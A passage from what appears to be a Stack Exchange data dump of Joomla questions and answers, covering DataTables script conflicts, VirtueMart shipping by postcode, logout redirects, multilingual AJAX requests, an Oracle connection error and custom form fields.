?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user-&amp;gt;Nombre; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;&#xA;&#xA;     &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php if($userName): ?&amp;gt;&#xA;        &amp;lt;a class=&quot;ubUserName&quot; rel=&quot;author&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;Nivel); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user-&amp;gt;Nivel; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php if($userName): ?&amp;gt;&#xA;        &amp;lt;a class=&quot;ubUserName&quot; rel=&quot;author&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;Pais); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user-&amp;gt;Pais; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php if($userName): ?&amp;gt;&#xA;        &amp;lt;a class=&quot;ubUserName&quot; rel=&quot;author&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;Nombre); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user-&amp;gt;Nombre; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php if($userName): ?&amp;gt;&#xA;        &amp;lt;a class=&quot;ubUserName&quot; rel=&quot;author&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;Skype); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user-&amp;gt;Skype; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php if($userName): ?&amp;gt;&#xA;        &amp;lt;a class=&quot;ubUserName&quot; rel=&quot;author&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;Google); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user-&amp;gt;Google; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php if($userName): ?&amp;gt;&#xA;        &amp;lt;a class=&quot;ubUserName&quot; rel=&quot;author&quot; href=&quot;&amp;lt;?php echo $user-&amp;gt;link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;Facebook); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user-&amp;gt;Facebook; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php if($userName): ?&amp;gt;&#xA;                &amp;lt;span class=&quot;ubUserName&quot; rel=&quot;author&quot; title=&quot;&amp;lt;?php echo K2HelperUtilities::cleanHtml($user-&amp;gt;Email); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php echo $user-&amp;gt;Email;?&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/tbody&amp;gt;    &#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm doing wrong?. Thanks so much&lt;/p&gt;&#xA;" OwnerUserId="3562" LastEditorUserId="3562" LastEditDate="2015-02-03T09:09:52.597" LastActivityDate="2015-02-03T09:09:52.597" Title="Puting script labels in a module problems" Tags="|joomla-3.x|php|fix-my-code|jquery|custom-module|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7407" PostTypeId="2" ParentId="7405" CreationDate="2015-02-02T09:09:18.227" Score="0" Body="&lt;p&gt;I am suggesting you to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Move &lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt; to the top of your file.&lt;/li&gt;&#xA;&lt;li&gt;Do not include &lt;code&gt;jquery.js&lt;/code&gt; in your module, because your template already includes it. You should also disable duplicate jQuery inclusion in your template. If you watch the source code of your page you will see that &lt;code&gt;jquery.js&lt;/code&gt; in included several times.&lt;/li&gt;&#xA;&lt;li&gt;Try to change &lt;code&gt;$&lt;/code&gt; in your script to jQuery, like this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  jQuery(document).ready(function() {&#xA;     jQuery('#tUsuarios').dataTable( {&#xA;        &quot;searching&quot;:true,&#xA;        &quot;paging&quot;:   true,&#xA;        &quot;ordering&quot;: true,&#xA;        &quot;info&quot;:     false&#xA;     });&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastEditorUserId="168" LastEditDate="2015-02-02T10:45:23.030" LastActivityDate="2015-02-02T10:45:23.030" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="7408" PostTypeId="1" AcceptedAnswerId="8691" CreationDate="2015-02-02T10:41:53.387" Score="2" ViewCount="547" Body="&lt;p&gt;I am using Joomla 1.5 and Virtuemart 1. I want to setup automatic shipping based on postcodes/location. For example if a customer lives in the postcode DH2 then they will have to pay a delivery fee of £1.50. Other fares for other postcodes could be higher or lower. I want to be able to do this automatically. Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="3544" LastEditorUserId="159" LastEditDate="2015-02-03T20:34:21.033" LastActivityDate="2015-02-18T16:20:58.730" Title="Automatic shipping calculation based on postal code" Tags="|virtuemart|joomla-1.5|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7409" PostTypeId="2" ParentId="7405" CreationDate="2015-02-02T10:47:59.740" Score="0" Body="&lt;p&gt;I am seeing that your js and css files are located in tmpl(template folder), &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;try keeping them in separate folder&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &#xA;another thing is that did u intentionally made folder name in upper case ?&lt;br&gt;&#xA;like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Default instead of default&lt;/strong&gt; ? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;try changing folder name in lowercase, sometime it becomes a huge&#xA;  issue in server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-02-02T10:47:59.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7410" PostTypeId="2" ParentId="7405" CreationDate="2015-02-02T10:51:44.760" Score="1" Body="&lt;p&gt;You've made a mistake in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're using &lt;code&gt;jquery&lt;/code&gt; instead of &lt;code&gt;jQuery&lt;/code&gt;. @Dmitry has already showed you the code you need to use which you could have copied ans pasted so I'm not sure how that went wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    jQuery('#tUsuarios').dataTable( {&#xA;        &quot;searching&quot;:true,&#xA;        &quot;paging&quot;: true,&#xA;        &quot;ordering&quot;: true,&#xA;        &quot;info&quot;: false&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also suggest you import your CSS and JS files correctly, so replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://rmh.citafgsr.info/modules/mod_k2_intercambios/tmpl/Default/DataTables-1.10.4/media/css/jquery.dataTables.css&quot;&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf8&quot; src=&quot;http://rmh.citafgsr.info/modules/mod_k2_intercambios/tmpl/Default/DataTables-1.10.4/media/js/jquery.dataTables.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    JHtml::_('stylesheet', JUri::root . 'modules/mod_k2_intercambios/tmpl/Default/DataTables-1.10.4/media/css/jquery.dataTables.css');&#xA;    JHtml::_('script', JUri::root . 'modules/mod_k2_intercambios/tmpl/Default/DataTables-1.10.4/media/js/jquery.dataTables.js');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please read the Joomla documentation before doing things else you will run into more problems and get a better understanding of things&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-02T10:51:44.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7413" PostTypeId="1" CreationDate="2015-02-02T11:33:30.257" Score="0" ViewCount="130" Body="&lt;p&gt;I want the joomla contact us page to stop accepting special characters in the form fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name : must accept only alphabets either Uppercase or lowercase and absolutely nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;similarly &lt;/p&gt;&#xA;&#xA;&lt;p&gt;subject :  must accept only alphabets either Uppercase or lowercase and absolutely nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried using filters in the global configuration.doesn't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2015-02-02T11:33:30.257" Title="Remove special characters in contact us" Tags="|joomla-2.5|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7414" PostTypeId="1" CreationDate="2015-02-02T11:41:26.290" Score="2" ViewCount="3740" Body="&lt;p&gt;I want to redirect a user to the homepage of my joomla website and that he must not be able to go back in the browser.absolutely not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried many things in regards to this but couldn't accomplish it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i stop going back and redirect the user to the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S i have a login module that has a parameter logout redirect page : have set it to the homepage menu that appears in the checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2015-02-02T19:18:13.160" Title="Redirect to homepage after logout" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7418" PostTypeId="2" ParentId="7414" CreationDate="2015-02-02T15:51:53.490" Score="2" Body="&lt;p&gt;It seems that you want non-logged in users to access only homepage of your site.&lt;/p&gt;&#xA;&lt;p&gt;Obviously if you redirect them on logout then user can always go back to any other url.&lt;/p&gt;&#xA;&lt;p&gt;What i suggest, you should create a system plugin for this which will check whether user is logged in or not.&#xA;And if user is not logged in then redirect him to the homepage.&lt;/p&gt;&#xA;&lt;p&gt;You can apply this checking on joomla event &lt;code&gt;onAfterRoute()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function onAfterRoute()&#xA;{&#xA;  $userId = JFactory::getUser()-&amp;gt;id;&#xA;  &#xA;  //if user is not logged-in redirect to home-page&#xA;  if(!$userId){&#xA;     JFactory::getApplication()-&amp;gt;redirect(&amp;quot;index.php&amp;quot;);&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For joomla plugin creation you can refer these tutorials&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Plugin_Development&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plugin Development&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J2.5:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating Plugin for Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-02-02T16:04:29.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7419" PostTypeId="1" AcceptedAnswerId="7466" CreationDate="2015-02-02T18:39:55.467" Score="2" ViewCount="84" Body="&lt;p&gt;Using standard Joomla database functions, what's the right way to select new / modified items from a table? I don't want to use &lt;code&gt;created &amp;gt; DATE_SUB(NOW(), INTERVAL 1 DAY) OR modified &amp;gt; DATE_SUB(NOW(), INTERVAL 1 DAY)&lt;/code&gt; since I'm not sure that all the new DB types supported by Joomla will accept the &lt;code&gt;now()&lt;/code&gt; / &lt;code&gt;DATESUB&lt;/code&gt; syntax.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-02T20:54:34.843" LastActivityDate="2015-02-05T08:11:59.907" Title="Select new / modified rows from table" Tags="|database|mysql|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7420" PostTypeId="2" ParentId="7414" CreationDate="2015-02-02T19:18:13.160" Score="1" Body="&lt;p&gt;It's not a very beautiful thing, but I think it may work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On logout redirect the user to your home page, adding just a little $_GET variable. Redirect Link should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.yourdomain.com/index.php?logged_out=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insert, into this page or your Joomla Template index.php, a script that will prevent the back button from functioning whenn the variable $_GET['logged_out'] is set. This part is really tricky, because no method to my knowledge will actually work in every situation. The easiest way to disable the back button is IMO to actually fool it: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    if (isset($_GET[&quot;logged_out&quot;])){&#xA;       echo '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;window.location.replace('.JURI::base().');&amp;lt;/script&amp;gt;';&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will redirect the user to your home page another time. As I said, it is not very beautiful, but I doubt that there are beautiful ways to do at all. In fact, I would strongly suggest to evaluate if this is truly necessary.&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-02-02T19:18:13.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7421" PostTypeId="2" ParentId="4531" CreationDate="2015-02-02T22:23:04.983" Score="1" Body="&lt;p&gt;Create a folder called &quot;Cache&quot; to the root of your website (or to the directory where you have installed Joomla) and apply 755 permission to it. Then disable cache plugin, and you should be able to select &quot;File&quot; as Cache handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: To remove &quot;memcached&quot; you can delete all the lines including &quot;memcached&quot; from your configuration.php file (remember to set 644 and when you finish editing back to 444)&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2015-02-02T22:23:04.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7422" PostTypeId="1" AcceptedAnswerId="7434" CreationDate="2015-02-02T23:19:00.783" Score="0" ViewCount="821" Body="&lt;p&gt;I have an ajax task to return a form token from my controller for use in ajax pages, so that subsequent ajax requests will have a token. It looks like this in the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JURI::root().'index.php?option=com_mycomponent&amp;amp;format=raw&amp;amp;task=ajax.tokenRequest'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and like this in the ajax request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/joomla3/index.php?option=com_mycomponent&amp;amp;format=raw&amp;amp;task=ajax.tokenRequest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine, until I use it in a multilingual site. In this case, the server returns a 303 error with the suggested redirect to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/joomla3/en/?option=com_mycomponent&amp;amp;format=raw&amp;amp;task=ajax.tokenRequest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the token never gets populated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I need to do similar to &lt;code&gt;JRoute::_()&lt;/code&gt; on the URL to ensure that the right URL is used and a 303 is not returned? (I did try JRoute but this didn't have any effect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12352" LastEditDate="2019-11-16T23:01:16.483" LastActivityDate="2019-11-16T23:01:16.483" Title="Ajax request 303 redirect on a multilingual website" Tags="|ajax|multilingual|jroute|security-token|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7424" PostTypeId="1" CreationDate="2015-02-03T02:06:34.237" Score="1" ViewCount="224" Body="&lt;p&gt;I am trying to make protostar template BACKEND more user friendly. I want to add a left sidebar with options such as &quot;Fonts&quot;, &quot;Layout&quot;, &quot;...&quot; etc. I also would like to be able to style the backend options, fieldsets and fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note: This question is for the Joomla administrator backend and not for the front end site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know html and css well but I dont know where to override the backend template manager looks like some of the theme providers do. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZtHxo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="159" LastEditDate="2015-02-03T19:44:07.867" LastActivityDate="2015-02-03T19:44:07.867" Title="Add html code to BACKEND template manager of protostar" Tags="|joomla-3.x|templates|" AnswerCount="0" CommentCount="2" ClosedDate="2015-06-04T14:50:05.670" ContentLicense="CC BY-SA 3.0" />
  <row Id="7425" PostTypeId="1" CreationDate="2015-02-03T02:08:38.723" Score="0" ViewCount="155" Body="&lt;p&gt;I installed the oci driver and was able to use oracle as the database after reading from this link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_connect_to_an_external_database&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_connect_to_an_external_database&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $options['host'] = '192.168.3.78:1521'; &#xA;    $options['username'] = 'bdesws_usr';&#xA;    $options['password'] = 'abc123';&#xA;    $options['schema'] = 'bdesws_usr';&#xA;    $options['service_name'] = 'orcl.bdes';&#xA;&#xA;    $db = new JDatabaseDriverOracle($options);   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this error occurs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ORA-12545: Connect failed because target host or object does not exist&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the host actually exists because I am using the host '192.168.3.78' and also the port '1521' in connecting to Sql Developer.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2015-04-04T12:48:32.473" Title="Error in connecting to Oracle Database" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7427" PostTypeId="1" CreationDate="2015-02-03T06:34:15.970" Score="3" ViewCount="235" Body="&lt;p&gt;When there is any change in user object like usergroup etc during a session then these changes does not get reflected immediately in the current session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User needs to logout and then again login to see the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if the current user session has been updated with the latest changes so that there will be no need to logout/re-login to check the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any major impact over the complete Joomla functionality which i should consider before doing such changes?&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-02-03T10:59:43.623" Title="Updating User session to reflect latest access level changes" Tags="|session|joomla-user-groups|access|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7428" PostTypeId="1" CreationDate="2015-02-03T10:36:50.170" Score="1" ViewCount="519" Body="&lt;p&gt;Where should I put the php files that I will be using to perform Ajax requests in my custom component? for example I need to populate a certain dropdown list based on an input? The php file that i will be using will return the html formatted data that will be put to a dropdown list.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2015-02-03T10:40:57.997" Title="Where to store php files used for an Ajax request in a custom component" Tags="|joomla-3.x|jquery|ajax|" AnswerCount="1" CommentCount="2" ClosedDate="2015-02-03T20:28:04.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="7429" PostTypeId="2" ParentId="7428" CreationDate="2015-02-03T10:40:57.997" Score="0" Body="&lt;p&gt;If you are building &lt;strong&gt;component&lt;/strong&gt; , then it is best to write in your &lt;strong&gt;component's controllers&lt;/strong&gt; file and for &lt;strong&gt;module&lt;/strong&gt; write in &lt;strong&gt;helper file&lt;/strong&gt; and use &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;com_ajax&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-02-03T10:40:57.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7430" PostTypeId="2" ParentId="7427" CreationDate="2015-02-03T10:59:43.623" Score="3" Body="&lt;p&gt;This is a very common problem in Joomla installs and to be honest there isn't a super simple fix. We've implemented a &lt;strong&gt;limited&lt;/strong&gt; fix in 3.4 which allows you to clear the access rights cached for the currently logged in user (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/user/user.php#L488&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/user/user.php#L488&lt;/a&gt;). However it will not change the access rights of any other users on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However any attempts we've made to fix the problems for all users has resulted in unacceptable performance impacts. To be honest whilst it's not ideal your best bet is probably to keep having the users log and back in again.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-02-03T10:59:43.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7431" PostTypeId="2" ParentId="7425" CreationDate="2015-02-03T11:05:36.777" Score="1" Body="&lt;p&gt;Oracle will default set the port to 1521. So try removing your port from the $host option. If you want to explicitly set it then place it in the $options array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/database/driver/pdo.php#L215&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/database/driver/pdo.php#L215&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with that in mind try this (note untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options['host'] = '192.168.3.78';&#xA;$options['port'] = 1521;&#xA;$options['username'] = 'bdesws_usr';&#xA;$options['password'] = 'abc123';&#xA;$options['schema'] = 'bdesws_usr';&#xA;$options['service_name'] = 'orcl.bdes';&#xA;&#xA;$db = new JDatabaseDriverOracle($options);   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-02-03T11:05:36.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7434" PostTypeId="2" ParentId="7422" CreationDate="2015-02-03T14:18:31.340" Score="0" Body="&lt;p&gt;Instead of &lt;code&gt;JUri::root()&lt;/code&gt; try to use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$baseUrl = JUri::getInstance()-&amp;gt;toString(array('scheme', 'user', 'pass', 'host', 'port', 'path'));&#xA;$baseUrl .'index.php?option=com_mycomponent&amp;amp;format=raw&amp;amp;task=ajax.tokenRequest'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://compojoom.com/blog/entry/ajax-requests-on-multilingual-joomla-websites&quot; rel=&quot;nofollow&quot;&gt;See&lt;/a&gt; the reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or simply do not use &lt;code&gt;JUri::root()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-03T14:18:31.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7438" PostTypeId="2" ParentId="7422" CreationDate="2015-02-03T20:41:50.347" Score="0" Body="&lt;p&gt;First of all it would be nice to use the JSession::getFormToken() method to increse the security of your AJAX request. &lt;a href=&quot;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow&quot;&gt;See also How to add CSRF anti-spoofing to forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not very clear from your question, but it looks to me that you are not passing the language to the Request (like specifying the language parameter &lt;code&gt;lang=de&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have a look into VirtualHosts for your development environment, so that you can have something like &lt;a href=&quot;http://mycooljoomlasite.local&quot; rel=&quot;nofollow&quot;&gt;http://mycooljoomlasite.local&lt;/a&gt; instead of &lt;a href=&quot;http://localhost/joomla3&quot; rel=&quot;nofollow&quot;&gt;http://localhost/joomla3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-02-03T20:47:40.667" LastActivityDate="2015-02-03T20:47:40.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7439" PostTypeId="1" AcceptedAnswerId="7442" CreationDate="2015-02-04T06:06:03.743" Score="0" ViewCount="1262" Body="&lt;p&gt;In my custom component, under the models folder, is the fields folder which contains the php files for dropdown lists in the .xml by defining its type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a schema.php file in the fields folder, I should specify the type to &quot;schema&quot; correct? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;field name=&quot;report_id&quot; type=&quot;schema&quot; class=&quot;inputbox&quot;&#xA;        label=&quot;COM_SUBSCRIPTION_FORM_LBL_FIELDS_REPORTID&quot;&#xA;        description=&quot;COM_SUBSCRIPTION_FORM_DESC_FIELDS_REPORTID&quot; &#xA;        table = &quot;#__reports_&quot;  key_field=&quot;ID&quot; value_field=&quot;TITLE&quot; &#xA;   /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the page reloads, it again calls the schema.php to populate the form field which is of type schema.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a dropdown list in my form, which is a custom field type. My form also has a report_Id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to use the report_Id as my parameter to filter the content of my dropdown list when the page of the edit form loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE #1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using this code in the getInput function of the schema.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data= JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it does not return the form together with its inputs when I use var_dump.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="126" LastEditDate="2016-01-21T23:36:37.827" 